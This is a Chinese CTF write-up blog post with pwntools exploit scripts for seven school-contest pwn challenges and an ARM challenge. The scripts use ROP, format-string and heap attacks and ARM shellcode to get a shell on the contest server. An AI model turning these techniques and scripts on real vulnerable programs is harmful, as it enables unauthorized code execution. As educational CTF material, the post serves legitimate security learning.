前言 2020最后一个月,划水的一个月,没什么比赛,也没什么事情,17级考研结束了,我们也该准备了
没啥好写的,老规矩,放上校赛题解
(最后一波狙击似乎把比赛整乱套了,社工大军开始疯狂py……இ௰இ)
0x00 pwn1 strlen() \x00截断,绕过strcmp,覆盖掉变量为123
1 2 3 4 5 6 from pwn import *elf = ELF("./pwn1" ) p = remote('219.219.61.234' ,'10000' ) p.send('\x00' +'a' *6 +p32(123 )+p32(0 )) p.interactive()
0x01 pwn2 和pwn1同理,利用两次ROP构造来getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *elf = ELF("./pwn2" ) libc = ELF('libc6-i386_2.23-0ubuntu11.2_amd64.so' ) p = remote('219.219.61.234' ,'10001' ) p.send('\x00' +'a' *6 +p32(12345 )+p32(0 )) payload = 'a' *0x6c + 'b' *4 + p32(elf.plt['puts' ]) +p32(0x8048753 ) + p32(elf.got['puts' ]) p.recvuntil("haha\n" ) p.send(payload) libc_base = u32(p.recvuntil("\xf7" ).ljust(4 ,'\x00' )) - libc.sym['puts' ] info(hex (libc_base)) sys = libc_base + libc.sym['system' ] binsh = libc_base + 0x15910b payload = 'a' *0x6c + 'b' *4 + p32(sys)+'a' *4 + p32(binsh) p.send(payload) p.interactive()
0x02 pwn3 通过构造,将结构体内的puts函数指针改为system
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *elf=ELF('./pwn3' ) p =remote('219.219.61.234' ,10002 ) libc = ELF('libc.so.6' ) def add (size,con ): p.sendlineafter('Your choice :' ,'1' ) p.sendlineafter('Note size :' ,str (size)) p.sendafter('Content :' ,con) def delete (idx ): p.sendlineafter('Your choice :' ,'2' ) p.sendlineafter('Index:' ,str (idx)) def show (idx ): p.sendlineafter('Your choice :' ,'3' ) p.sendlineafter('Index :' ,str (idx)) backdoor=0x08048986 info(hex (backdoor)) add(16 ,'ld1ng' ) add(16 ,'ld1ng' ) delete(0 ) delete(1 ) add(8 ,p32(backdoor)) show(0 ) p.interactive()
0x03 pwn4 在子洋师傅的帮助下用matlab解出密钥,然后格式化字符串漏洞泄露libc基址,地址任意写,可以修改puts的got表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *elf=ELF('./pwn4' ) context(arch='amd64' ,os='linux' ) p =remote('219.219.61.234' ,10003 ) libc = ELF('libc-2.23.so' ) passwd = '3xpL0r3R' onegadget = [0x45226 ,0x4527a ,0xf0364 ,0xf1207 ] puts_got = elf.got['printf' ] p.sendlineafter("important secret" ,'ld1ng' ) p.sendlineafter(">>" ,str (3 )) p.sendlineafter("please inputs password >>" ,passwd) p.recv() p.recvuntil("secret\n" ) p.recvuntil("secret\n" ) p.sendline("%77$p" ) libc_base = int (p.recv(15 ),16 ) - 0x20840 info(hex (libc_base)) one_gadget = libc_base + onegadget[0 ] payload = fmtstr_payload(6 ,{puts_got:one_gadget}) p.sendline(payload) p.interactive()
0x04 pwn5 free unsortedbin泄露libc基址,通过单字节溢出,来构造overlap,通过就该下个堆块的struct变量地址来修改got表,从而getshell,(打远程时出了点问题,可以通过show free的got表来泄露libc版本)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 from pwn import *elf = ELF('./pwn5' ) p = remote('219.219.61.234' ,'10004' ) libc = ELF('libc-2.23.so' ) og = [0x4f3d5 ,0x4f432 ,0x10a41c ,0x45226 ,0x4527a ,0xf0364 ,0xf1207 ] def add (size,con ): p.sendlineafter('Your choice :' ,'1' ) p.sendlineafter('Size:' ,str (size)) p.sendafter('Content:' ,con) def edit (idx,con ): p.sendlineafter('Your choice :' ,'2' ) p.sendlineafter('Index:' ,str (idx)) p.sendafter('Content:' ,con) def delete (idx ): p.sendlineafter('Your choice :' ,'4' ) p.sendlineafter('Index:' ,str (idx)) def show (idx ): p.sendlineafter('Your choice :' ,'3' ) p.sendlineafter('Index:' ,str (idx)) add(0x90 ,"aaa" ) add(0x48 ,"bbb" ) delete(0 ) add(0x90 ,'\x78' ) show(0 ) p.recvuntil("Content: " ) libc_base = u64(p.recvuntil('\x7f' ).ljust(8 ,'\x00' )) -88 -0x10 -libc.sym['__malloc_hook' ] info(hex (libc_base)) add(0x18 ,'aaaa' ) add(0x10 ,'bbbb' ) add(0x10 ,'cccc' ) add(0x10 ,'/bin/sh' ) edit(2 ,'a' *0x18 +'\x81' ) delete(3 ) payload = 'd' *0x40 + p64(8 ) + p64(elf.got['free' ]) add(0x70 ,payload) show(4 ) p.recvuntil("Content: " ) free_addr = u64(p.recvuntil('\x7f' ).ljust(8 ,'\x00' )) info(hex (free_addr)) system_addr = libc_base + libc.sym['system' ] one = libc_base + og[6 ] info(hex (system_addr)) edit(4 ,p64(system_addr)) delete(5 ) p.interactive()
0x05 pwn6 uaf和单字节溢出漏洞,与pwn5类似的构造,通过got表的修改来getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import *elf = ELF('./pwn6' ) p = remote('219.219.61.234' ,'10005' ) libc = ELF('libc.so.6' ) def enter (): p.sendlineafter("important secret" ,"ld1ng" ) p.sendlineafter(">>" ,"2" ) def add (idx,size,con ): p.sendlineafter('Your Choice>>' ,'1' ) p.sendlineafter('index>>' ,str (idx)) p.sendlineafter('size>>' ,str (size)) p.sendlineafter('name>>' ,con) def edit (idx,con ): p.sendlineafter('Your Choice>>' ,'3' ) p.sendlineafter('index>>' ,str (idx)) p.sendafter('name>>' ,con) def delete (idx ): p.sendlineafter('Your Choice>>' ,'2' ) p.sendlineafter('index>>' ,str (idx)) def show (idx ): p.sendlineafter('Your Choice>>' ,'5' ) p.sendlineafter('index>>' ,str (idx)) enter() add(0 ,128 ,"aaa" ) add(1 ,128 ,"bbb" ) delete(0 ) show(0 ) libc_base = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' )) - 88 - 0x10 -libc.sym['__malloc_hook' ] info(hex (libc_base)) sys = libc_base + libc.sym["system" ] info(hex (sys)) add(2 ,0x88 ,"ccc" ) add(3 ,0x88 ,"ddd" ) add(4 ,0x88 ,"eee" ) edit(0 ,'a' *0x88 + '\xd1' ) delete(1 ) add(5 ,0xc8 ,"fff" ) edit(5 ,p64(0 )*3 +p64(0x21 )+p64(0 )*16 +p64(0 )+p64(0x21 )+p64(0x88 )+p64(0x602080 )+p64(0 )) p.sendline("ls" ) edit(3 ,p64(sys)) p.sendline("ls" ) p.sendline("cat flag" ) p.interactive()
0x06 pwn7 ubuntu18.4,利用tcache机制,构造一个合并的大unsorted堆块,利用单字节溢出(off by none),修改下一个chunk的size位,利用unlink机制会造成中间块重叠,也就是说还会再申请到中间块,造成两个指针指向同一内存区域,这样修改fd指针将free_hook改为onegadget即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import *elf = ELF('./pwn7' ) p = remote('219.219.61.234' ,'10050' ) libc = ELF('libc.so' ) og = [0x4f3d5 ,0x4f432 ,0x10a41c ,0x4f365 ,0x4f3c2 ,0x10a45c ] def add (size,con ): p.sendlineafter('> ' ,'1' ) p.sendlineafter('> ' ,str (size)) p.sendlineafter('> ' ,con) def delete (idx ): p.sendlineafter('> ' ,'2' ) p.sendlineafter('> ' ,str (idx)) def show (idx ): p.sendlineafter('> ' ,'3' ) p.sendlineafter('> ' ,str (idx)) for i in range (10 ): add(0x10 ,'a' ) for i in range (3 ,10 ): delete(i) for i in range (3 ): delete(i) for i in range (10 ): add(0x10 ,'a' ) for i in range (6 ): delete(i) delete(8 ) delete(7 ) add(0xf8 ,'ld1ng' ) delete(6 ) delete(9 ) for i in range (8 ): add(0x10 ,'b' ) show(0 ) libc_base = u64(p.recv(6 ).ljust(8 ,'\x00' )) - 96 - 0x3ebc40 info('libc_base : ' +hex (libc_base)) free_hook = libc_base + libc.sym['__free_hook' ] one_gadget = libc_base +og[1 ] info('free_hook : ' +hex (free_hook)) info('one_gadget : ' +hex (one_gadget)) add(0x10 ,'d' ) delete(1 ) delete(0 ) delete(9 ) add(0x20 ,p64(free_hook)) add(0x20 ,'e' ) add(0x20 ,p64(one_gadget)) delete(3 ) p.sendline("cat flag" ) p.interactive()
0x08 华为XCTF ARM pwn1 第一次做arm pwn,先搭建好arm环境,但是没有搞定符号表,动调也很麻烦,存疑
题目是一道很简单的栈溢出,但是需要学习掌握arm的汇编知识
看一下源程序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 main ; DATA XREF: _start+20↑o .text:000104A0 ; .text:off_103DC↑o .text:000104A0 .text:000104A0 buf = -0x104 .text:000104A0 .text:000104A0 PUSH {R11,LR} .text:000104A4 ADD R11, SP, #4 .text:000104A8 SUB SP, SP, #0x100 .text:000104AC LDR R2, =_GLOBAL_OFFSET_TABLE_ ; PIC mode .text:000104B0 NOP .text:000104B4 LDR R3, =(stdout_ptr - 0x21000) .text:000104B8 LDR R3, [R2,R3] ; stdout .text:000104BC LDR R0, [R3] ; stream .text:000104C0 MOV R3, #0 ; n .text:000104C4 MOV R2, #2 ; modes .text:000104C8 MOV R1, #0 ; buf .text:000104CC BL setvbuf .text:000104D0 LDR R3, =(aInput - 0x104DC) ; "input: " .text:000104D4 ADD R3, PC, R3 ; "input: " .text:000104D8 MOV R0, R3 ; format .text:000104DC BL printf .text:000104E0 SUB R3, R11, #-buf .text:000104E4 MOV R2, #0x300 ; nbytes .text:000104E8 MOV R1, R3 ; buf .text:000104EC MOV R0, #0 ; fd .text:000104F0 BL read .text:000104F4 MOV R3, #0 .text:000104F8 MOV R0, R3 .text:000104FC SUB SP, R11, #4 .text:00010500 POP {R11,PC}
程序开了NX保护,所以尝试用rop来攻击
首先寻找一些比较有用的gadget
1 2 3 4 0x00056b7c : pop {r0, r4, pc} 0x00010500 : pop {fp, pc} 0x00010348 : pop {r3, pc} 0x00010498 : pop {r4, pc}
思路是,第一次泄露libc基址,通过printf将read_got泄露
但是没有单独的pop r0的gadget,所以尝试pop {r3, pc},然后返回到0x000104D8
这样就可以打印出libc基址,然后就卡住了,似乎没办法控制pc了
但是神奇的是,通过动调发现libc基址并没有发生变化,然后尝试记下固定的libc基址,构造payload
payload=’a’*0x104+p32(pop_0_4)+p32(bin_sh)*2+p32(system)即可
至于为什么libc基址不变,查了很多资料并没有收获,
但听A1GX师傅说,运行的qemu的虚拟框架内可能是没有nx保护或者alsr,存疑
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import *context(arch='arm' ,os='linux' ,log_level='debug' ) elf=ELF('./bin' ) libc = ELF('/usr/arm-linux-gnueabihf/lib/libc.so.6' ) def gdb_attach (): os.system('gnome-terminal -x sh -c "gdb-multiarch ./bin -ex \'target remote 127.0.0.1:1234\'"' ) io = process(["qemu-arm" ,"-L" ,"/usr/arm-linux-gnueabihf" ,"./bin" ]) read_got=elf.got['read' ] printf_got=elf.got['printf' ] printf_plt = elf.plt['printf' ] print hex (read_got)libc_base = 0xf66cc000 system=libc_base+libc.sym['system' ] bin_sh=libc_base+0xca574 pop_0_4=libc_base+0x00056b7c payload='a' *0x104 +p32(pop_0_4)+p32(bin_sh)*2 +p32(system) io.send(payload) io.interactive()
虽然显示开启了NX保护,但是我发现各个段都是有可执行权限的(太疑惑了!),所以可以向bss段写入shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *context(arch='arm' ,os='linux' ,log_level='debug' ) io = process(["qemu-arm" ,"-L" ,"/usr/arm-linux-gnueabihf" ,"./bin" ]) shellcode = b'\x02\x20\x42\xe0\x1c\x30\x8f\xe2' shellcode += b'\x04\x30\x8d\xe5\x08\x20\x8d\xe5' shellcode += b'\x13\x02\xa0\xe1\x07\x20\xc3\xe5' shellcode += b'\x04\x30\x8f\xe2\x04\x10\x8d\xe2' shellcode += b'\x01\x20\xc3\xe5\x0b\x0b\x90\xef' shellcode += b'/bin/sh;' pop_r3_pc = 0x00010348 data_addr = 0x00021030 read_addr = 0x000104E8 payload = b'a' *256 +p32(data_addr)+p32(pop_r3_pc)+p32(data_addr)+p32(read_addr) io.sendafter("input: " ,payload) io.sendline(p32(data_addr+4 )+shellcode) io.interactive()
0x09 年度小结~ 大家新年快乐!